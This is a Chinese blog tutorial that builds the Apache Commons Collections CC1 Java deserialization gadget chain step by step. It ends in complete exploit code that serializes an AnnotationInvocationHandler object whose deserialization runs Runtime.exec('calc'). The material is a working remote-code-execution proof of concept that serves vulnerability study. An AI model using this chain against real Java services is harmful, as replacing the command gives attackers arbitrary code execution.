赞
踩
目录
首先看哪里调用了transform接口,下面介绍几个我们这是次cc1链需要用到的。
进入之后,发现会传入一个对象执行transform方法
快捷键 Ctrl+Alt+B,查看一下它的实现方法
重点介绍一下这三种
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
InvokerTransformer也是本次cc1的漏洞点
在InvokerTransformer里,我们可以传入方法名,参数类型数组和参数值数组,在这里有个transform方法,我们可以利用它来传入我们想要的数据,来执行某个的对象的目标方法。
- public ConstantTransformer(Object constantToReturn) {
- super();
- iConstant = constantToReturn;
- }
这个ConstantTransformer中的内容很好理解,因为constant代表常量,这里我们只要传入一个对象,它就会把对象return回来
- public ChainedTransformer(Transformer[] transformers) {
- super();
- iTransformers = transformers;
- }
这里传入的是Transformer[] 数组类型的参数,而这个类的transform方法比较有意思:它会把第i轮的输出再作为第i+1轮的输入,直到循环结束,return最终的结果。
首先,我们通过反射来进行弹计算器
- Runtime r = Runtime.getRuntime();
- Class c = Runtime.class;
-
- Method Method = (Method) c.getMethod("exec",String.class);
- Method.setAccessible(true);
- Method.invoke(r,"calc");
我们再通过InvokerTransformer的这种写法来修改一下:传入如下三种参数后进行调用它的transform方法,传入的是一个对象即可
- Runtime r = Runtime.getRuntime();
- Class c = Runtime.class;
- // Method rcMethod = (Method) c.getMethod("exec",String.class);
- // rcMethod.setAccessible(true);
- // rcMethod.invoke(r,"calc");
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
我们接下来就看还有哪个类调用了transform方法,一直找不同类,直到找到readObject里面,可以看到TransformedMap类中的checkSetValue方法调用了transform()方法
valueTransformer.transform(value)
- //受保护的方法
- protected Object checkSetValue(Object value) {
- return valueTransformer.transform(value);
- }
我们再看看valueTransformer是从哪里过来的,在113行发现,它的构造方法是protected受保护的属性
- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
在73行还有一个静态(decorate)装饰方法,会返回new TransformedMap(map, keyTransformer, valueTransformer),通过这个方法我们就可以控制valuetransformer了。
那么现在就通过这个TransformedMap类有个checkSetValue方法,再延伸一下链子。(查看一下哪里调用了)然后发现在AbstractInputCheckedMapDecorator类中Setvalue方法中调用了这个checkSetValue方法
- static class MapEntry extends AbstractMapEntryDecorator {
-
- /** The parent map */
- private final AbstractInputCheckedMapDecorator parent;
-
- protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
- super(entry);
- this.parent = parent;
- }
-
- public Object setValue(Object value) {
- value = parent.checkSetValue(value);
- return entry.setValue(value);
- }
- }
在这里:MapEntry是代表一个键值对,所以我们需要写一个键值对,然后传入的对象就是我们之前定义的Runtime对象
Runtime r = Runtime.getRuntime();
- Runtime r = Runtime.getRuntime();
- // Class c = Runtime.class;
-
- // Method rcMethod = (Method) c.getMethod("exec",String.class);
- // rcMethod.setAccessible(true);
- // rcMethod.invoke(r,"calc");
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
- HashMap<Object,Object> map = new HashMap<>();
- map.put("key","value");
- //相当于 invokerTransformer.transform(r)
- Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
-
- for (Map.Entry entry:transformedMap.entrySet()){
- entry.setValue(r);
- }
这里就弹出计算器了
setValue<-checksetValue<-invokerTransformer.transform()
接下来就是找谁调用了setValue,最好是在readObject里直接调用的,这样就可以直接交工了,不需要再往上继续找了。
最后,我们在AnnotationInvocationHandler类中找到了这个readObject方法,
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
这里也是对键值对进行循环,并且经过两个if判断才能调用到我们想要的setValue方法中,
这里还有一个细节,我们可以发现这里并没有修饰符,属于默认default类型,只有在这个包里面才能进行获取,所以我们需要通过反射来进行获取
这里选择通过全类名获取类
- Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance(Override.class,transformedMap);
- Serialize(o);
序列化生成ser.bin再反序列化是不能弹出计算器的,这里是为什么呢?
Runtime类是没有序列化接口的,说明它没有办法进行序列化
绕过两个if和setValue的参数问题
还是利用反射来解决
获取一个class类
Class c = Runtime.class;
反射获取public方法
Method method = rc.getMethod("getRuntime");
调用 method.invoke(null,null);,第一个null是因为getRuntime方法是一个静态方法,第二个null是无参数方法
- Class rc = Runtime.class;
- Method method = rc.getMethod("getRuntime",null);
- Runtime r = (Runtime) method.invoke(null,null);
- Method execMethod = rc.getMethod("exec",String.class);
- execMethod.invoke(r,"calc");
利用InvokerTransformer(),重新完善链子
首先再回顾一下InvokerTransformer()的参数吧
一、方法名
二、参数类型数组
三、参数值数组
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
参数值对应情况如下
one
- Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
- // Class rc = Runtime.class;
- // Method method = rc.getMethod("getRuntime",null);
two
- Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
- // Runtime two = (Runtime) method.invoke(null,null);
three
这个和上面是一样的
方法名exec 方法类型String 方法值 calc
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);
-
- // Method execMethod = rc.getMethod("exec",String.class);
- // execMethod.invoke(r,"calc");
弹出来计算器了,删除注释后的代码
- Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
- Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);
这里发现他们就是个重复调用的过程,通过我命名one two 也可以更好看出来
那么我们在前置知识介绍的ChainedTransformer在这里就用到了
我们new 一个 transformer数组,把他们放进去
- Transformer[] transformers = new Transformer[]{
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- chainedTransformer.transform(Runtime.class);
在if下面打个断点,然后把之前注释的cc1.java中的重新放出来
- Transformer[] transformers = new Transformer[]{
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- // chainedTransformer.transform(Runtime.class);
-
-
- HashMap<Object, Object> map = new HashMap<>();
- map.put("key", "aa");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
-
- Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance(Override.class, transformedMap);
-
- Serialize(o);
- unserialize(o);

然后在AnnotationInvocationHandler类里面打个断点,可以看到我们是进不去第一个if的,因为我们override里面没有东西
还有@Target和@Retention注解,我们换个 @Retention注解看一下。
同时我们也要把键值对的键名也修改成value
修改后
再断点调试,可以看到,我们就进来了
还有就是解决setValue里面的参数问题了
从setValue是可以调用到这里的
- valueTransformer.transform(value)
- 相当于
- chainedTransformer.transform(Runtime.class)
那么我们如果改其中的值呢?也就是修改AnnotationTypeMismatchExceptionProxy@665,为我们想要的Runtime.class
这里就想到了我们之前介绍的 ConstantTransformer 类
它的特点就是无论接受什么参数,就会返回什么参数。因此我们可以用它来做文章即利用它的transform方法传入一个Runtime.class
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
-
-
- HashMap<Object, Object> map = new HashMap<>();
- map.put("value", "Rsecret");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
-
- Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
-
- Serialize(o);
- unserialize(o);

再整理一下思路,我们调用了chainedTransformer.transform(),然后调用的是ConstantTransformer的transform方法,ConstantTransformer把输出变成了我们输入的Runtime.class
至此cc1链的其中一条链子学习完毕,还有一条cc1链是利用的LazyMap,后续有缘再更新吧~
谢谢师傅们,后续我也会观看本文章,进行相关的补充。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。